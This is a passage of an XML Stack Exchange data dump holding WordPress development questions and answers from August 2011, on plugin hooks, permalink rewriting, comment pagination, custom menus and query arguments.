copy&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Ideally this would all be done with files, but worst case scenario I could save data to the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is I don't see hooks for plugin updates. I looked &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://adambrown.info/p/wp_hooks/version/3.2&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7102" LastEditorUserId="7102" LastEditorDisplayName="" LastEditDate="2011-08-30T05:34:43.760" LastActivityDate="2011-08-30T05:34:43.760" Title="How do I prevent Plugin updates from clobbering user edits?" Tags="&lt;plugins&gt;&lt;updates&gt;" AnswerCount="1" />
  <row Id="27249" PostTypeId="2" ParentId="27248" CreationDate="2011-08-30T03:58:46.107" Score="0" ViewCount="" Body="&lt;p&gt;Don't allow your users to add files or edit your files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, use things like &lt;code&gt;do_action&lt;/code&gt; and &lt;code&gt;apply_filters&lt;/code&gt; like the WordPress core does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with GeSHi, but I would suggest you figure out where in the class it loads the file required for the language.  Modify the file path so it looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$file_path = apply_filters( 'yourplugin_name_geshi_path', $file_path, $lanuage );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then users could hook into it and modify the file path accordingly...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter( 'yourplugin_name_geshi_path', 'wpse27248_path_modify', 10, 2 );&#xA;function wpse27248_path_modify( $path, $language )&#xA;{&#xA;   if( 'some_language' = $language )&#xA;   {&#xA;      $path = '/some/new/path';&#xA;   }&#xA;   return $path;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your best bet is probably to create a Subclass of GeSHi, modify the methods you need to modify (as suggested), and use that class for your plugin.  If GeSHi updates, you can drop in the new version without loosing your changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No having to worry about overriding user files or anything else.  Users, if they need a new language in the library, can just create a very simple plugin of their own.&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-30T03:58:46.107" CommentCount="4" />
  <row Id="27252" PostTypeId="2" ParentId="24902" CreationDate="2011-08-30T07:46:11.610" Score="0" ViewCount="" Body="&lt;p&gt;Sergey, use this in place where you are going to put form to edit avatar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$myAv = new simple_local_avatars();&#xA;$myAv-&amp;gt;edit_user_profile($profileuser); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8265" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-30T08:53:29.420" LastActivityDate="2011-08-30T08:53:29.420" CommentCount="1" />
  <row Id="27253" PostTypeId="1" CreationDate="2011-08-30T08:46:03.657" Score="0" ViewCount="14" Body="&lt;p&gt;The following code intended for rewriting my &lt;code&gt;custom_post_type&lt;/code&gt; &lt;code&gt;portfolio&lt;/code&gt; to &lt;code&gt;/portfolio/%year%/%postname%/&lt;/code&gt; and is breaking my universal permalink structure which is &lt;code&gt;/blog/%year%/%postname%/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The portfolio permalink structure works with this code and a &lt;code&gt;add_filer()&lt;/code&gt; hook that follows it, the problem is that this initial code breaks the site. Is there any reason for this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'portfolio_rewrite');&#xA;function portfolio_rewrite() {&#xA;  global $wp_rewrite;&#xA;  $portfolio_structure = '/portfolio/%year%/%postname%/';&#xA;  $wp_rewrite-&amp;gt;add_rewrite_tag(&quot;%postname%&quot;, '([^/]+)', &quot;portfolio=&quot;);&#xA;  $wp_rewrite-&amp;gt;add_permastruct('portfolio', $portfolio_structure, false);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed &lt;code&gt;%postname%&lt;/code&gt; to &lt;code&gt;%portfolio_postname%&lt;/code&gt; and that did the trick all of the URLS seam to be working and routing correctly. However another problem arose, &lt;strong&gt;none of the site-wide permalink&lt;/strong&gt; - links work (ex they are all &lt;code&gt;portfolio/2011/%portfolio_postname%/&lt;/code&gt;). Does anyone know how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="5396" LastEditorUserId="5396" LastEditorDisplayName="" LastEditDate="2011-08-30T10:43:14.950" LastActivityDate="2011-08-30T10:43:14.950" Title="None of my wordpress permalinks links work" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;" AnswerCount="0" />
  <row Id="27255" PostTypeId="1" CreationDate="2011-08-30T09:25:15.543" Score="0" ViewCount="20" Body="&lt;p&gt;I have a page that's pulling testimonials/comments from another page that's basically set up to be a contact form (the other page that is) so I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array(&#xA;'status' =&amp;gt; 'approve',&#xA;'post_id' =&amp;gt; 494,&#xA;);&#xA;$comments = get_comments($args); &#xA;foreach($comments as $comment) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to pull these comments into an array, Unfortunately this array has grown over time to nearly 300 testimonials/comments and so to prevent a long eternally scrolling page, I'd like a way to paginate them. So far I've struggled to find a working option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="8266" LastActivityDate="2011-08-30T09:25:15.543" Title="Paginating get_comments" Tags="&lt;theme-development&gt;&lt;pagination&gt;" />
  <row Id="27256" PostTypeId="1" CreationDate="2011-08-30T09:49:39.397" Score="0" ViewCount="12" Body="&lt;p&gt;IS there a plugin or code that I could do the following&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Choose a term, lets say Apple Ipad&lt;/li&gt;&#xA;&lt;li&gt;Then that Apple Ipad term would automatically link to a post that also has those terms&lt;/li&gt;&#xA;&lt;li&gt;The ability to pick terms and posts it links too be cool&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;such thing out there?&lt;/p&gt;&#xA;" OwnerUserId="8082" LastActivityDate="2011-08-30T13:02:02.703" Title="Internal Linking Plugin or code" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="27258" PostTypeId="1" CreationDate="2011-08-30T10:00:45.930" Score="0" ViewCount="7" Body="&lt;p&gt;In wp-ecomemrce I have added a new field in the checkout to capture the company name. &#xA;I need to get the data from the transaction but how?&#xA;I am not sure how the form fields are stored to be able to retrieve them.&lt;/p&gt;&#xA;" OwnerUserId="6224" LastActivityDate="2011-08-30T10:00:45.930" Title="how to get extra info from checkout in wp-ecommerce" Tags="&lt;wp-ecommerce&gt;" />
  <row Id="27259" PostTypeId="1" CreationDate="2011-08-30T10:11:46.647" Score="0" ViewCount="27" Body="&lt;p&gt;I'd like to have some help about something I have to do in a wordpress-buddypress website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to create a page (not displayed in the menu) which will display things depending on an ID recieved (by the url). &#xA;Each thing displayed should allow comments on it.&#xA;Some additional features could need to be implemented, so it has to be quite easy to code everything in the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have a plugin to get the data I need to display from a webservice, and to do a lot of other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering how I can implement such a page, using static page or post. I know that comment are linked to posts, and I could add a commentmeta to link a comment to my stuff ID.&#xA;But then, can I use an unique post to display contents depending on a receive ID ? Can I put anything in the body using post (I mean, html, js and php code) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not really expert in wordpress, however I develop in PHP since years and I'm quite confortable with everything in the web developpement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm looking for advises on how to do this part of my developement. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help and time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Sorry for the ... long title, I really didn't know how to summarize all of this. And sorry for approximate english, it's not my maternal language like you'll have noticed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;I discovered that pages are considered as post also, and can be commented. So I guess using what MikeSchinkel said on this page &lt;a href=&quot;http://stackoverflow.com/questions/4054943/customize-wordpress-comment-post-query&quot;&gt;http://stackoverflow.com/questions/4054943/customize-wordpress-comment-post-query&lt;/a&gt; should allow me to do what I want ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just have to figure out how to add a page without adding it to a menu/submenu, and find a hook action/filter in the comment loop to display comments depending on my ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second edit : I found the answer myself by testing lot of things, here is how I do it now.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a page when the plugin is activated, save its name and id in the database&lt;/li&gt;&#xA;&lt;li&gt;Detect whenever you're on this page&lt;/li&gt;&#xA;&lt;li&gt;Override the page's content with whatever you want&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/how-do-i-create-a-new-page-with-the-plugin-im-building&quot; rel=&quot;nofollow&quot;&gt;Wordpress support topic to do that&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the comment Handling, when you're on this page:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a field to the comment form&lt;/li&gt;&#xA;&lt;li&gt;Check if this field is filled before you save the comment&lt;/li&gt;&#xA;&lt;li&gt;Save this field in the comment_meta table&lt;/li&gt;&#xA;&lt;li&gt;Filter the comment displayed depending on the field and the page displayed&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/4054943/customize-wordpress-comment-post-query&quot;&gt;Stackoverflow question to do that&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, those links won't do everything for you and you'll need to adapt them. For example, I'm using Buddypress with my wp install, so the comment hooks changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are all the hooks I used to make it works, hope it helps.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Detect the page&#xA;add_filter('parse_query', array($this, 'queryParser'));&#xA;// Replace the content&#xA;add_filter('the_posts', array($this, 'pageFilter'));&#xA;// Exclude the page we created from the menu&#xA;add_filter('wp_list_pages_excludes', array($this, 'excludePageFilter'));&#xA;&#xA;// Add the field to the comment form&#xA;add_action('bp_blog_comment_form', array(&amp;amp;$this, 'addCustomCommentForm'));&#xA;// Check if the field has been sent&#xA;add_action('pre_comment_on_post',array(&amp;amp;$this, 'checkCommentPost'));&#xA;// Save the comment meta related to the field&#xA;add_action('comment_post', array(&amp;amp;$this, 'insertCommentMeta'));&#xA;// Filter the comments displayed on your page&#xA;add_filter('comments_array', array(&amp;amp;$this, 'filterCommentDisplay'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8267" LastEditorUserId="8267" LastEditorDisplayName="" LastEditDate="2011-09-05T07:19:13.087" LastActivityDate="2011-09-05T07:19:13.087" Title="How to create a custom page with plugins, and execute custom code on its content" Tags="&lt;plugins&gt;&lt;customization&gt;&lt;page&gt;&lt;comment&gt;" CommentCount="1" />
  <row Id="27261" PostTypeId="2" ParentId="27175" CreationDate="2011-08-30T10:38:33.583" Score="1" ViewCount="" Body="&lt;p&gt;For testing purposes you can use the log system (php_error.log):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_log('Plugin activated', 0);&#xA;&#xA;// Check for DB table existance&#xA;if(!$this-&amp;gt;hasDBTable()){&#xA;    error_log('Database not present', 0);&#xA;    if($this-&amp;gt;createCELabelsDBTables()){&#xA;        error_log('Database was created.', 0);&#xA;    } else {&#xA;        error_log('Error creating the CE Labels Plugin db tables!', 0);&#xA;    }&#xA;&#xA;} else {&#xA;    error_log('Database OK', 0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To output error to the user without the &quot;Headers already sent&quot; error, you can use the php function trigger_error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;trigger_error('PLUGIN OK',E_USER_ERROR);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With Wordpress must always be E_USER_ERROR or it won't display the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the error_log works perfectly since I'm using it, but the trigger_error displays to must information. Try it and see for your self :)&lt;/p&gt;&#xA;" OwnerUserId="8268" LastActivityDate="2011-08-30T10:38:33.583" />
  <row Id="27262" PostTypeId="1" CreationDate="2011-08-30T10:47:55.043" Score="0" ViewCount="20" Body="&lt;p&gt;I am running query_post with the following arguments, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;'category'        =&amp;gt; $cat,&#xA;'orderby'         =&amp;gt; 'post_date',&#xA;'order'           =&amp;gt; 'DESC',&#xA;'post_type'       =&amp;gt; 'blog',&#xA;'post_status'     =&amp;gt; 'publish' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$cat = 7 in this instance, it should be returning 1 posts, but it is returning all my posts if they are in any category.&lt;/p&gt;&#xA;" OwnerUserId="6964" LastEditorUserId="6964" LastEditorDisplayName="" LastEditDate="2011-08-30T11:51:10.557" LastActivityDate="2011-08-30T13:12:28.657" Title="query_post problem" Tags="&lt;categories&gt;&lt;query-posts&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="27263" PostTypeId="1" CreationDate="2011-08-30T10:47:56.097" Score="0" ViewCount="13" Body="&lt;p&gt;it's really urgent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am workig with a wordpress site. the site is using the &quot;wordpress WooThemes Premiere 1.0.2&quot;. My task is to display the all videos under the category &quot;smashtv&quot; with thumbnails. so please assist me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks and regards, deepankar&lt;/p&gt;&#xA;" OwnerUserId="8269" LastActivityDate="2011-08-30T10:47:56.097" Title="display the &quot;smashtv&quot; catetgory videos with thumbnails in wordpress" Tags="&lt;query-posts&gt;&lt;post-thumbnails&gt;&lt;custom-loop&gt;" />
  <row Id="27264" PostTypeId="1" AcceptedAnswerId="27270" CreationDate="2011-08-30T11:10:52.870" Score="0" ViewCount="29" Body="&lt;p&gt;I want to create a custom menu in the style below, can this be done? The code in brackets needs to grab the actual page content for each page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;menu-button-(page-name)&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;(page-link)&quot;&amp;gt;(page-name)&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I use that one small bit of code to create my menu? That code should generate buttons for 5 pages that are in the main tree in the admin.&lt;/p&gt;&#xA;" OwnerUserId="4588" LastActivityDate="2011-08-30T12:40:02.350" Title="Creating a custom menu" Tags="&lt;custom-menus&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="27265" PostTypeId="1" CreationDate="2011-08-30T11:44:29.263" Score="0" ViewCount="21" Body="&lt;p&gt;I'm using the code below to try to exclude the format &quot;post-format-quote&quot;, but it is excluding all posts, including ones of the standard format (no format).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            $myposts = new WP_Query(array(&#xA;                'tax_query' =&amp;gt; array(&#xA;                    'taxonomy' =&amp;gt; 'post_format',&#xA;                    'field' =&amp;gt; 'slug',&#xA;                    'terms' =&amp;gt; array('post-format-quote'),&#xA;                    'operator' =&amp;gt; 'NOT IN'&#xA;                ),&#xA;                'posts_per_page' =&amp;gt; 3&#xA;                )&#xA;            );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8271" LastActivityDate="2011-08-30T12:38:45.153" Title="WP_query exclude posts of a format" Tags="&lt;wp-query&gt;&lt;3.2&gt;" AnswerCount="1" />
  <row Id="27266" PostTypeId="2" ParentId="27264" CreationDate="2011-08-30T11:46:15.580" Score="0" ViewCount="" Body="&lt;p&gt;Rob, take a look at using &lt;code&gt;register_nav_menu&lt;/code&gt; function in WordPress it allows you to build custom menus with ease. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/register_nav_menu&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/register_nav_menu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-08-30T11:46:15.580" />
  <row Id="27267" PostTypeId="1" CreationDate="2011-08-30T11:53:04.903" Score="0" ViewCount="19" Body="&lt;p&gt;I want to add terms on a my taxonomy dynamically by a text field and button&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sample taxonomy:&#xA;place_taxonomy&#xA; - island_term&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Textfield] [submit button]&lt;/p&gt;&#xA;" OwnerUserId="8008" LastActivityDate="2011-08-30T17:31:20.457" Title="Create Terms on taxonomy by text field" Tags="&lt;terms&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="27268" PostTypeId="1" CreationDate="2011-08-30T11:58:32.387" Score="2" ViewCount="49" Body="&lt;p&gt;Twitter has just came out with a &lt;a href=&quot;http://twitter.github.com/bootstrap/&quot; rel=&quot;nofollow&quot;&gt;new web framework called Bootstrap&lt;/a&gt;. What's the right way to use it within a theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: The stylesheet inclusion is simple indeed. I want to know which caveats or compatibility issues I should expect.&lt;/p&gt;&#xA;" OwnerUserId="6117" LastEditorUserId="6117" LastEditorDisplayName="" LastEditDate="2011-08-30T13:28:15.397" LastActivityDate="2011-08-30T13:28:15.397" Title="Using Bootstrap in themes" Tags="&lt;theme-development&gt;" CommentCount="2" FavoriteCount="1" />
  <row Id="27269" PostTypeId="2" ParentId="27265" CreationDate="2011-08-30T12:38:45.153" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;tax_query&lt;/code&gt; takes an array of arrays.  Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myposts = new WP_Query(array(&#xA;                'tax_query' =&amp;gt; array(&#xA;                    array(&#xA;                        'taxonomy' =&amp;gt; 'post_format',&#xA;                        'field' =&amp;gt; 'slug',&#xA;                        'terms' =&amp;gt; array('post-format-quote'),&#xA;                        'operator' =&amp;gt; 'NOT IN'&#xA;                    )&#xA;                ),&#xA;                'posts_per_page' =&amp;gt; 3&#xA;                )&#xA;            );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Further reading: &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-1-advanced-taxonomy-queries/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2010/wordpress-3-1-advanced-taxonomy-queries/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-30T12:38:45.153" />
  <row Id="27270" PostTypeId="2" ParentId="27264" CreationDate="2011-08-30T12:40:02.350" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;$pages = get_children(array('orderby' =&amp;gt; 'menu_order', 'order' =&amp;gt; 'asc'));&#xA;foreach($pages as $post) {&#xA;setup_postdata($post);&#xA;$fields = get_fields();&#xA;?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;menu-button-&amp;lt;?php echo $post-&amp;gt;post_title; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_page_link( $post-&amp;gt;ID ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $post-&amp;gt;post_title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;wp_reset_query();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4588" LastActivityDate="2011-08-30T12:40:02.350" />
  <row Id="27271" PostTypeId="1" AcceptedAnswerId="27272" CreationDate="2011-08-30T12:42:45.807" Score="0" ViewCount="23" Body="&lt;p&gt;How can I echo out the count of within a foreach loop? I want to change the class of the div below so it's menu-button-1, menu-button-2 etc etc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;$pages = get_children(array('orderby' =&amp;gt; 'menu_order', 'order' =&amp;gt; 'asc'));&#xA;foreach($pages as $post) {&#xA;setup_postdata($post);&#xA;$fields = get_fields();&#xA;?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;menu-button-(insert counter here)&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_page_link( $post-&amp;gt;ID ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $post-&amp;gt;post_title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;wp_reset_query();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I want it to output something like this - &lt;code&gt;&amp;lt;div class=&quot;menu-button-1&quot;&amp;gt;&lt;/code&gt; then &lt;code&gt;&amp;lt;div class=&quot;menu-button-2&quot;&amp;gt;&lt;/code&gt; and so on each time it goes through the loop.&lt;/p&gt;&#xA;" OwnerUserId="4588" LastActivityDate="2011-08-30T12:54:45.323" Title="Count within foreach loop" Tags="&lt;custom-menus&gt;&lt;foreach&gt;" AnswerCount="1" />
  <row Id="27272" PostTypeId="2" ParentId="27271" CreationDate="2011-08-30T12:54:45.323" Score="3" ViewCount="" Body="&lt;p&gt;Insert a new &lt;code&gt;$counter&lt;/code&gt; variable before the foreach loop starts, and at the very end of the loop, call &lt;code&gt;$counter++&lt;/code&gt; to increment the number.  In the middle, just echo out the &lt;code&gt;$counter&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$pages = get_children(array('orderby' =&amp;gt; 'menu_order', 'order' =&amp;gt; 'asc'));&#xA;// Add a counter before foreach starts&#xA;$counter = 1;&#xA;foreach($pages as $post) {&#xA;setup_postdata($post);&#xA;$fields = get_fields();&#xA;?&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;div class=&quot;menu-button-&amp;lt;?php echo $counter; /* echo out counter */ ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_page_link( $post-&amp;gt;ID ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $post-&amp;gt;post_title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;$counter++; // increment before foreach ends&#xA;}&#xA;wp_reset_query();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-30T12:54:45.323" />
  <row Id="27273" PostTypeId="2" ParentId="27256" CreationDate="2011-08-30T13:02:02.703" Score="0" ViewCount="" Body="&lt;p&gt;Here is one I wrote that does this: &lt;a href=&quot;http://wordpress.org/extend/plugins/seo-auto-linker/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/seo-auto-linker/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's in a very early version and it's okay. Still kind of buggy (as you can see by the forum comments), but getting better as people give me feedback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also SEO Smart Links &lt;a href=&quot;http://wordpress.org/extend/plugins/seo-automatic-links/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/seo-automatic-links/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-30T13:02:02.703" CommentCount="2" />
  <row Id="27274" PostTypeId="2" ParentId="27262" CreationDate="2011-08-30T13:12:28.657" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;       // Category should be 'cat'&#xA;    &amp;lt;?php&#xA; $args = array( 'cat' =&amp;gt; $cat, 'orderby' =&amp;gt; 'post_date', 'order' =&amp;gt; 'DESC', 'post_type' =&amp;gt; 'blog', 'post_status' =&amp;gt; 'publish' );&#xA;&#xA;        ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-08-30T13:12:28.657" />
  <row Id="27275" PostTypeId="1" AcceptedAnswerId="27652" CreationDate="2011-08-30T08:55:53.883" Score="0" ViewCount="14" Body="&lt;p&gt;I have a plugin that has a top level menu and subsequent submenus. Each one of these pages are going to need their own css and javascript. My code at the moment is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//main menu&#xA;add_menu_page( &quot;My Business&quot;, &quot;My Business&quot;, &quot;contributor&quot;, &quot;fbusiness&quot;, array($fmb_admin, &quot;get_page&quot;));&#xA;//sub menus&#xA;add_submenu_page(&quot;fatemagic-business&quot;, &quot;Products&quot;, &quot;Products&quot;, &quot;contributor&quot;, &quot;fbusiness-product&quot;, array($fmb_product, &quot;get_page&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I need is for custom css and scripts for the page that is displayed when the submenu is clicked. I did do this before but have just spent 3hrs trying to find it online and can't. If my memory is correct it looked something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = add_submenu_page(&quot;fatemagic-business&quot;, &quot;Products&quot;, &quot;Products&quot;, &quot;contributor&quot;, &quot;fbusiness-product&quot;, array($fmb_product, &quot;get_page&quot;));&#xA;print_admin_script($page, &quot;http://location/to/javascript&quot;);&#xA;print_admin_style($page, &quot;http://location/to/css&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe this technique is deprecated? It was about 3 or 4 years ago when I used this technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers ;)&lt;/p&gt;&#xA;" OwnerUserId="8404" LastActivityDate="2011-09-03T23:43:42.417" Title="wordpress admin plugin menu custom css" Tags="&lt;php&gt;&lt;javascript&gt;&lt;css&gt;&lt;plugin-development&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="27276" PostTypeId="2" ParentId="27275" CreationDate="2011-08-30T09:01:11.407" Score="0" ViewCount="" Body="&lt;p&gt;Use the &lt;code&gt;admin_head&lt;/code&gt; hook and just echo out what you need to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_admin_head() {&#xA;    // Custom Style&#xA;    echo '&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;'.WP_PLUGIN_DIR.'/style.css&quot; type=&quot;text/css&quot; /&amp;gt;';&#xA;&#xA;    // Our JS&#xA;    echo '&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;';&#xA;&#xA;}&#xA;add_action('admin_head', 'my_admin_head');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-08-30T09:01:11.407" CommentCount="1" />
  <row Id="27277" PostTypeId="1" CreationDate="2011-08-30T13:39:59.807" Score="0" ViewCount="20" Body="&lt;p&gt;Is it possible to have instead mypage.com/?page_id=81 (this is just an example, I am talking about all these pages with long custom links) to have mypage.com/cool/ ? Are there any plugins to achieve this? I used a plugin page links to, but it just links whatever to somewhere else.&lt;/p&gt;&#xA;" OwnerUserId="8196" LastActivityDate="2011-08-30T14:07:03.310" Title="Is it possible to have instead mypage.com/?page_id=81 to have mypage.com/cool/?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="27278" PostTypeId="1" CreationDate="2011-08-30T13:40:07.653" Score="0" ViewCount="23" Body="&lt;p&gt;If a user adds a widget to my theme in wp-admin, I want to be able to trigger a custom setting change (notably add some class), but there doesn't appear to be any documented hooks for this?&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-08-30T15:08:30.617" Title="Is there a &quot;widget added&quot; hook?" Tags="&lt;widgets&gt;&lt;hooks&gt;" AnswerCount="1" />
